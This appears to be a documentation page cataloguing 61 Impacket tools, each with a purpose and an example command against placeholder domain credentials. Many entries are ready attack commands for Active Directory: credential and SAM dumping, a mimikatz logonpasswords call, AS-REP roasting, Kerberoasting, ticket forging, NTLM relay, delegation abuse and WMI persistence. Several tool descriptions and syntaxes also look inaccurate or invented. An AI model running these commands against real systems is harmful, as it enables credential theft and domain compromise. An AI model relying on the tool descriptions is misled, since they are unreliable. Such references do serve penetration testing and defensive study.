Impacket Tools Documentation

1. impacket-addcomputer

Purpose: Adds a computer account to the domain
Usage: Used to create new computer accounts in Active Directory
Example:

impacket-addcomputer -computer-name 'NEWCOMP$' -computer-pass 'Password123!' -dc-ip 192.168.1.100 domain.local/user:password

2. impacket-atexec

Purpose: Executes commands on a remote Windows system using Task Scheduler
Usage: Remote command execution through Windows Task Scheduler
Example:

impacket-atexec domain.local/user:password@192.168.1.100 "whoami"

3. impacket-changepasswd

Purpose: Changes a user's password
Usage: Password change operations in Active Directory
Example:

impacket-changepasswd domain.local/user:oldpassword@192.168.1.100 -new-pass 'NewPassword123!'

4. impacket-dacledit

Purpose: Modifies DACL (Discretionary Access Control List) entries
Usage: Modifying access control lists on Windows systems
Example:


impacket-dacledit -action add -rights FullControl -principal 'DOMAIN\user' -target 'CN=Computer,DC=domain,DC=local' domain.local/user:password@192.168.1.100

5. impacket-dcomexec

Purpose: Executes commands using DCOM
Usage: Remote command execution through DCOM
Example:


impacket-dcomexec domain.local/user:password@192.168.1.100 "whoami"

6. impacket-describeTicket

Purpose: Describes Kerberos tickets
Usage: Analyzing Kerberos ticket contents
Example:


impacket-describeTicket ticket.kirbi

7. impacket-dpapi

Purpose: Decrypts DPAPI secrets
Usage: Extracting Windows DPAPI-protected data
Example:


impacket-dpapi -key 0123456789abcdef -file encrypted.dpapi

8. impacket-DumpNTLMInfo

Purpose: Dumps NTLM information from memory
Usage: Extracting NTLM hashes from memory
Example:


impacket-DumpNTLMInfo -memory-dump memory.dmp

9. impacket-esentutl

Purpose: Extracts information from ESE database files
Usage: Working with ESE database files
Example:


impacket-esentutl -file ntds.dit -dump

10. impacket-exchanger

Purpose: Interacts with Microsoft Exchange
Usage: Exchange server operations
Example:


impacket-exchanger -server 192.168.1.100 -user domain\user -password password

11. impacket-findDelegation

Purpose: Finds delegation relationships
Usage: Identifying delegation configurations in Active Directory
Example:

impacket-findDelegation domain.local/user:password@192.168.1.100

12. impacket-GetADComputers

Purpose: Lists computers in Active Directory
Usage: Enumerating AD computer objects
Example:


impacket-GetADComputers domain.local/user:password@192.168.1.100

13. impacket-GetADUsers

Purpose: Lists users in Active Directory
Usage: Enumerating AD user objects
Example:


impacket-GetADUsers domain.local/user:password@192.168.1.100

14. impacket-getArch

Purpose: Gets architecture of remote system
Usage: Determining system architecture
Example:


impacket-getArch domain.local/user:password@192.168.1.100

15. impacket-Get-GPPPassword

Purpose: Extracts passwords from Group Policy Preferences
Usage: Retrieving GPP passwords
Example:


impacket-Get-GPPPassword -dc-ip 192.168.1.100 domain.local/user:password

16. impacket-GetLAPSPassword

Purpose: Retrieves LAPS passwords
Usage: Extracting Local Administrator Password Solution passwords
Example:


impacket-GetLAPSPassword -dc-ip 192.168.1.100 domain.local/user:password

17. impacket-GetNPUsers

Purpose: Gets TGT for users without pre-authentication
Usage: AS-REP roasting attack
Example:


impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -output hashes.txt

18. impacket-getPac

Purpose: Gets PAC (Privilege Attribute Certificate)
Usage: Extracting PAC information
Example:


impacket-getPac -targetUser user -dc-ip 192.168.1.100 domain.local/user:password

19. impacket-getST

Purpose: Gets Service Ticket
Usage: Requesting service tickets
Example:


impacket-getST -spn cifs/dc.domain.local -impersonate administrator domain.local/user:password

20. impacket-getTGT

Purpose: Gets Ticket Granting Ticket
Usage: Requesting TGT
Example:


impacket-getTGT domain.local/user:password

21. impacket-GetUserSPNs

Purpose: Gets Service Principal Names for users
Usage: Kerberoasting attack
Example:


impacket-GetUserSPNs domain.local/user:password -request

22. impacket-goldenPac

Purpose: Golden Ticket attack
Usage: Creating golden tickets
Example:


impacket-goldenPac -dc-ip 192.168.1.100 -target-ip 192.168.1.100 domain.local/user:password

23. impacket-karmaSMB

Purpose: SMB relay attack tool
Usage: SMB relay attacks
Example:


impacket-karmaSMB -interface eth0

24. impacket-keylistattack

Purpose: Attacks against key list
Usage: Key list attacks
Example:


impacket-keylistattack -dc-ip 192.168.1.100 domain.local/user:password

25. impacket-lookupsid

Purpose: Looks up SIDs
Usage: SID enumeration
Example:


impacket-lookupsid domain.local/user:password@192.168.1.100

26. impacket-machine_role

Purpose: Gets machine role
Usage: Determining machine role in domain
Example:


impacket-machine_role domain.local/user:password@192.168.1.100

27. impacket-mimikatz

Purpose: Mimikatz-like functionality
Usage: Credential extraction
Example:


impacket-mimikatz -command "sekurlsa::logonpasswords" domain.local/user:password@192.168.1.100

28. impacket-mqtt_check

Purpose: Checks MQTT service
Usage: MQTT service testing
Example:


impacket-mqtt_check -server 192.168.1.100

29. impacket-mssqlclient

Purpose: MSSQL client
Usage: MSSQL server interaction
Example:


impacket-mssqlclient domain.local/user:password@192.168.1.100

30. impacket-mssqlinstance

Purpose: MSSQL instance enumeration
Usage: Finding MSSQL instances
Example:


impacket-mssqlinstance 192.168.1.100

31. impacket-net

Purpose: Network operations
Usage: Network-related operations
Example:


impacket-net view domain.local/user:password@192.168.1.100

32. impacket-netview

Purpose: Network view operations
Usage: Network share enumeration
Example:


impacket-netview domain.local/user:password@192.168.1.100

33. impacket-ntfs-read

Purpose: Reads NTFS files
Usage: NTFS file system operations
Example:


impacket-ntfs-read -file C:\Windows\System32\config\SAM domain.local/user:password@192.168.1.100

34. impacket-ntlmrelayx

Purpose: NTLM relay attack tool
Usage: NTLM relay attacks
Example:


impacket-ntlmrelayx -t smb://192.168.1.100 -smb2support

35. impacket-owneredit

Purpose: Modifies object ownership
Usage: Changing object ownership
Example:


impacket-owneredit -action add -target 'CN=Computer,DC=domain,DC=local' -owner 'DOMAIN\user' domain.local/user:password@192.168.1.100

36. impacket-ping

Purpose: ICMP ping
Usage: Network connectivity testing
Example:


impacket-ping 192.168.1.100

37. impacket-ping6

Purpose: IPv6 ping
Usage: IPv6 connectivity testing
Example:


impacket-ping6 fe80::1

38. impacket-psexec

Purpose: PsExec-like functionality
Usage: Remote command execution
Example:


impacket-psexec domain.local/user:password@192.168.1.100 "whoami"

39. impacket-raiseChild

Purpose: Raises domain functional level
Usage: Domain functional level operations
Example:


impacket-raiseChild -child child.domain.local -parent parent.domain.local domain.local/user:password@192.168.1.100

40. impacket-rbcd

Purpose: Resource-based constrained delegation
Usage: RBCD attacks
Example:


impacket-rbcd -action write -delegate-to 'CN=Computer,DC=domain,DC=local' -delegate-from 'CN=User,DC=domain,DC=local' domain.local/user:password@192.168.1.100

41. impacket-rdp_check

Purpose: Checks RDP service
Usage: RDP service testing
Example:


impacket-rdp_check 192.168.1.100

42. impacket-reg

Purpose: Registry operations
Usage: Windows registry operations
Example:


impacket-reg query -key HKLM\SOFTWARE domain.local/user:password@192.168.1.100

43. impacket-registry-read

Purpose: Reads registry values
Usage: Reading Windows registry
Example:


impacket-registry-read -key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion domain.local/user:password@192.168.1.100

44. impacket-rpcdump

Purpose: Dumps RPC endpoints
Usage: RPC endpoint enumeration
Example:


impacket-rpcdump domain.local/user:password@192.168.1.100

45. impacket-rpcmap

Purpose: Maps RPC services
Usage: RPC service mapping
Example:


impacket-rpcmap domain.local/user:password@192.168.1.100

46. impacket-sambaPipe

Purpose: Samba pipe operations
Usage: Samba pipe interactions
Example:


impacket-sambaPipe domain.local/user:password@192.168.1.100

47. impacket-samrdump

Purpose: Dumps SAM database
Usage: SAM database extraction
Example:


impacket-samrdump domain.local/user:password@192.168.1.100

48. impacket-secretsdump

Purpose: Dumps secrets from remote systems
Usage: Extracting credentials and secrets
Example:


impacket-secretsdump domain.local/user:password@192.168.1.100

49. impacket-services

Purpose: Manages Windows services
Usage: Service management operations
Example:


impacket-services domain.local/user:password@192.168.1.100

50. impacket-smbclient

Purpose: SMB client operations
Usage: SMB file sharing operations
Example:


impacket-smbclient domain.local/user:password@192.168.1.100

51. impacket-smbexec

Purpose: SMB-based command execution
Usage: Remote command execution via SMB
Example:


impacket-smbexec domain.local/user:password@192.168.1.100 "whoami"

52. impacket-smbserver

Purpose: SMB server implementation
Usage: Creating SMB shares
Example:


impacket-smbserver share /path/to/share

53. impacket-sniff

Purpose: Network traffic sniffing
Usage: Capturing network traffic
Example:


impacket-sniff -interface eth0

54. impacket-sniffer

Purpose: Advanced network traffic analysis
Usage: Detailed network traffic analysis
Example:


impacket-sniffer -interface eth0 -filter "tcp port 445"

55. impacket-split

Purpose: File splitting utility
Usage: Splitting large files
Example:


impacket-split -file large_file.txt -size 100MB

56. impacket-ticketConverter

Purpose: Converts ticket formats
Usage: Converting between ticket formats
Example:


impacket-ticketConverter ticket.kirbi ticket.ccache

57. impacket-ticketer

Purpose: Creates Kerberos tickets
Usage: Ticket creation and manipulation
Example:


impacket-ticketer -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -nthash aad3b435b51404eeaad3b435b51404ee -domain domain.local -user administrator

58. impacket-tstool

Purpose: Time synchronization tool
Usage: Time synchronization operations
Example:


impacket-tstool domain.local/user:password@192.168.1.100

59. impacket-wmiexec

Purpose: WMI-based command execution
Usage: Remote command execution via WMI
Example:


impacket-wmiexec domain.local/user:password@192.168.1.100 "whoami"

60. impacket-wmipersist

Purpose: WMI persistence operations
Usage: Creating WMI persistence
Example:


impacket-wmipersist domain.local/user:password@192.168.1.100 -command "cmd.exe /c calc.exe"

61. impacket-wmiquery

Purpose: WMI query operations
Usage: Executing WMI queries
Example:


impacket-wmiquery domain.local/user:password@192.168.1.100 -query "SELECT * FROM Win32_Process"

PreviousImpacket Tools Documentation NextKerberos Time Skew Detection and Fix Guide

Last updated 21 hours ago

hashtag1. impacket-addcomputer

hashtag2. impacket-atexec

hashtag3. impacket-changepasswd

hashtag4. impacket-dacledit

hashtag5. impacket-dcomexec

hashtag6. impacket-describeTicket

hashtag7. impacket-dpapi

hashtag8. impacket-DumpNTLMInfo

hashtag9. impacket-esentutl

hashtag10. impacket-exchanger

hashtag11. impacket-findDelegation

hashtag12. impacket-GetADComputers

hashtag13. impacket-GetADUsers

hashtag14. impacket-getArch

hashtag15. impacket-Get-GPPPassword

hashtag16. impacket-GetLAPSPassword

hashtag17. impacket-GetNPUsers

hashtag18. impacket-getPac

hashtag19. impacket-getST

hashtag20. impacket-getTGT

hashtag21. impacket-GetUserSPNs

hashtag22. impacket-goldenPac

hashtag23. impacket-karmaSMB

hashtag24. impacket-keylistattack

hashtag25. impacket-lookupsid

hashtag26. impacket-machine_role

hashtag27. impacket-mimikatz

hashtag28. impacket-mqtt_check

hashtag29. impacket-mssqlclient

hashtag30. impacket-mssqlinstance

hashtag31. impacket-net

hashtag32. impacket-netview

hashtag33. impacket-ntfs-read

hashtag34. impacket-ntlmrelayx

hashtag35. impacket-owneredit

hashtag36. impacket-ping

hashtag37. impacket-ping6

hashtag38. impacket-psexec

hashtag39. impacket-raiseChild

hashtag40. impacket-rbcd

hashtag41. impacket-rdp_check

hashtag42. impacket-reg

hashtag43. impacket-registry-read

hashtag44. impacket-rpcdump

hashtag45. impacket-rpcmap

hashtag46. impacket-sambaPipe

hashtag47. impacket-samrdump

hashtag48. impacket-secretsdump

hashtag49. impacket-services

hashtag50. impacket-smbclient

hashtag51. impacket-smbexec

hashtag52. impacket-smbserver

hashtag53. impacket-sniff

hashtag54. impacket-sniffer

hashtag55. impacket-split

hashtag56. impacket-ticketConverter

hashtag57. impacket-ticketer

hashtag58. impacket-tstool

hashtag59. impacket-wmiexec

hashtag60. impacket-wmipersist

hashtag61. impacket-wmiquery

1. impacket-addcomputer

2. impacket-atexec

3. impacket-changepasswd

4. impacket-dacledit

5. impacket-dcomexec

6. impacket-describeTicket

7. impacket-dpapi

8. impacket-DumpNTLMInfo

9. impacket-esentutl

10. impacket-exchanger

11. impacket-findDelegation

12. impacket-GetADComputers

13. impacket-GetADUsers

14. impacket-getArch

15. impacket-Get-GPPPassword

16. impacket-GetLAPSPassword

17. impacket-GetNPUsers

18. impacket-getPac

19. impacket-getST

20. impacket-getTGT

21. impacket-GetUserSPNs

22. impacket-goldenPac

23. impacket-karmaSMB

24. impacket-keylistattack

25. impacket-lookupsid

26. impacket-machine_role

27. impacket-mimikatz

28. impacket-mqtt_check

29. impacket-mssqlclient

30. impacket-mssqlinstance

31. impacket-net

32. impacket-netview

33. impacket-ntfs-read

34. impacket-ntlmrelayx

35. impacket-owneredit

36. impacket-ping

37. impacket-ping6

38. impacket-psexec

39. impacket-raiseChild

40. impacket-rbcd

41. impacket-rdp_check

42. impacket-reg

43. impacket-registry-read

44. impacket-rpcdump

45. impacket-rpcmap

46. impacket-sambaPipe

47. impacket-samrdump

48. impacket-secretsdump

49. impacket-services

50. impacket-smbclient

51. impacket-smbexec

52. impacket-smbserver

53. impacket-sniff

54. impacket-sniffer

55. impacket-split

56. impacket-ticketConverter

57. impacket-ticketer

58. impacket-tstool

59. impacket-wmiexec

60. impacket-wmipersist

61. impacket-wmiquery